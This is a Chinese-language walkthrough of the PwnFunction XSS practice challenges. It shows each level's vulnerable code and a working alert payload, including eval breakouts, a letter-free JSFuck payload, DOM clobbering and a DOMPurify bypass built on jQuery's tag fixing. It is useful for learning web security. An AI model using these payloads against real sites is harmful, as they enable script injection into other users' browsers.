XSS Pwn 闯关

这里是靶场: https://xss.pwnfunction.com/

规则是不能有用户交互, 只能用 alert 弹出

Ma Spaghet

<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

这是第一关, 直接构造下面 payload 就可以:

?somebody=<img src=a onerror=alert(1337)>

或者:

?somebody=<svg onload=alert(1337)>

只要支持事件的都可以

Jefff

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

这里是使用的 eval 执行, 可以直接使用 - 连字符

?jeff="-alert(1337)-"

或者可以用 ;

?jeff=";alert(1337);"

Ugandan Knuckles

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

这里过滤了 <>[] 符号, 但实际上我们并不需要用到这些符号

?wey="onfocus=alert(1337) autofocus="

Ricardo Milos

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

这里是一个提交, 直接使用 javascript 协议

?ricardo=javascript:alert(1337)

Ah That's Hawt

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

这里过滤了一些符号, 使用 html 实体编码 -> url 编码

?markassbrownlee=<svg onload=alert%26%23x28%3B1337%26%23x29%3B>

或者使用 location:

?markassbrownlee=<svg onload=location="javascript:alert%25281337%2529">

Ligma

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这里过滤了字母数字, 使用自增构造字符串

?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()

Mafia

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

这里过滤了符号和 alert, 并且字符限制长度 50

使用 confirm 绕过

?mafia=confirm(1337)

不过题目要求是用 alert, 那这里肯定还是可以用 alert 的, 只不过需要变换一下

在 js 中可以直接把一个字符串转换成数字

这里没有过滤数字和其他函数, 我们就把 alert 转成数字在 toString 回去

使用以下语句可以构造:

parseInt('alert',30)

结果为: 8680439

这里使用 30 进制的原因是, js 的转换规则是直接将字符转换为对应的数字

比如 0-9 十进制就是 0-9a 就是 10, 那么这里 t30, 所以必须 30 以上的进制

payload:

?mafia=eval(8680439..toString(30))(1337)

或者使用函数:

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

还可以使用 #:

?mafia=eval(location.hash.slice(1))

需要在 URL 上加 #alert(1337), 加到最后

Ok, Boomer

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

这里使用了 DOMPurity 框架, 看似没有可利用的点

DOM Clobbering

这个 ok 就佷可疑, 全局并没有这个函数, 所以这里就是 DOM 破坏了, 已经提示得很明显

所谓 DOM 破坏 (DOM Clobbering), 实际上有点类似于变量覆盖, 或者有 rust 中的 shadow 机制

尝试下面的代码:

<img id=a>
<img name=b>
<script>
    console.log(a);
    console.log(b);
    console.log(document.a);
    console.log(document.b);
    console.log(window.a);
    console.log(window.b);
</script>

你会发现其中只有 document.aundefined, 而其他打打印出了标签

HTML5规范文档中指出: 如果一个元素符合下面两条规则中的任一条, 则 window 对象中必须要有与之对应的一个属性, 属性值就是这个对象

  • 如果一个元素拥有 ID 属性,那么 ID 属性的属性值就会成为 window 对象的属性名.
  • 如果一个元素拥有 name 属性,那么 name 属性的属性值就会成为 window 对象的属性名. 但这个元素的标签名必须是: a, applet, area, embed, form, frame, frameset, iframe, img, object, 其中的一个.

而在早期的设计中, 为了配合表单元素, name 被大量使用, 于是 document 也会自动挂载, 对于 id 并没有这种特性

1 和 2 实际上是省略了 window

所以可以利用这种特性创造出一个 ok 的全局变量, 并且会覆盖原有的 ok

toString

但是这还远远不够, 先想想我们现在需要什么, 很明显我们需要一段可执行的 js 代码

我们可以定义变量了, 但是这个变量是一个 Element 对象, 熟悉编程的小伙伴应该就知道基本都会有 Object.toString 的用法, 这里就需要知道哪个标签 toString() 是返回字符串的, 可以用 fuzz 测试

刚好有一个 <a> 标签, 调用 toString() 返回的是其 href 属性中的值

于是我们可以如下:

<a id=ok href=javascript:alert(1337)>

这里必须要写 uri 才可以被识别

到这里看似可以了, 但是会发现还是不行, 因为其中用了 DOMPurity 框架, 而 javascript 并不被允许, 会被其过滤

绕过 DOMPurify

这里就要看看它的过滤规则是怎么样的了

Screenshot2024-08-16at23.23.51

可以看到是白名单过滤, 于是构造下面的 payload:

?boomer=<a id=ok href=tel:alert(1337)>

WW3

<div>
    <h4>Meme Code</h4>
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <div id="notify"></div>
</div>

<script>
    /* Utils */
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
    const memeTemplate = (img, text) => {
        return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
    }
    const memeGen = (that, notify) => {
        if (text && img) {
            template = memeTemplate(img, text)

            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

            setTimeout(_ => {
                $('#status').remove()
                notify ? ($('#notify').html(html)) : ''
                $('#meme-code').text(template)
            }, 1000)
        }
    }
</script>

<script>
    /* Main */
    let notify = false;
    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')
    if (text && img) {
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">`+
            `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        )
    } else {
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
    }
</script>

先梳理一下代码, 第一个 script 是一些工具函数, 为第二个提供服务

第二个 script 在 textimg 不为空时使用了 DOMPurify 框架插入了 text. 使用自定义的 escape 函数插入了 img, 这个函数是有过滤的, 并且在图片加载完成时会调用 memeGen(this, notify)

我们仔细观察一些 memeGen(), 这里有一个危险调用: $('#notify').html(html), JQuery 中的 html() 方法在内部实际上调用的是 innerHTML(), 说不定可以从这里入手, 但发现整个程序都只会传入 notify = false, 也就是不会触发这一段代码, 那我们就可以利用 DOM 破坏, 覆盖这个 notify 变量来让执行

DOM 破坏

知道了要 DOM 破坏, 但是这里 img 肯定是要输入可用图片 url 的, 否则无法触发 onload, 所以我们只能考虑 text, 但是 img 标签在 DOMPurify.sanitize(text) 之前, 如果从上往下依次加载肯定就错过时机了, 但是要知道 DOM 是异步加载的, 曾经我就遇到过 DOM 异步加载导致的问题, 也就是说在加载图片时不会阻塞, 会继续加载下面的内容

那么我们也就知道了要构建一下类似的 payload:

?text=<img name=notify onload=alert(1337)>&img=https://i.imgur.com/PdbDexI.jpg

这里并不能用 <a>, 其 name 属性已经被移除了, 如果使用 id 属性, 会和前面的 <div id="notify"></div> 产生冲突

这样就完成了 DOM 破坏, 但是由于 JQuery 和 DOMPurify 对 text 进行了过滤, 首先我们就不能随意用标签和属性, 不能使用 onload

绕过 DOMPurify

这里用了 JQuery 的 html() 方法, 这个方法实际上在内部调用了 innerHTML(), 但有趣的地方就在于 html() 对于没有闭合的不合法的标签会自动修正

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gi

jQuery.extend( {
    htmlPrefilter: function( html ) {
        return html.replace( rxhtmlTag, "<$1></$2>" );
    }
    ...
})

tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];

从这个正则可以看到, 如果匹配到了没有闭合的非自闭合标签, 会自动将其修复闭合, 比如 <style/> 会变成 <style></style>

那如果是: <style><style/><script>alert(1337)// 就会变成

<style>
    <style>
</style>
<script>alert(1337)//

DOMPurify.sanitize(text) 传入时 DOMPurify 在处理是, <script> 标签被当作 <style> 标签的 RCDATA 值处理了, 所以并不会清理. 而在 html() 方法中将标签修复, 从而使 <script> 逃逸了出来

于是就可以构造下面的 payload:

?text=<img name=notify><style><style/><script>alert(1337)//&img=https://i.imgur.com/PdbDexI.jpg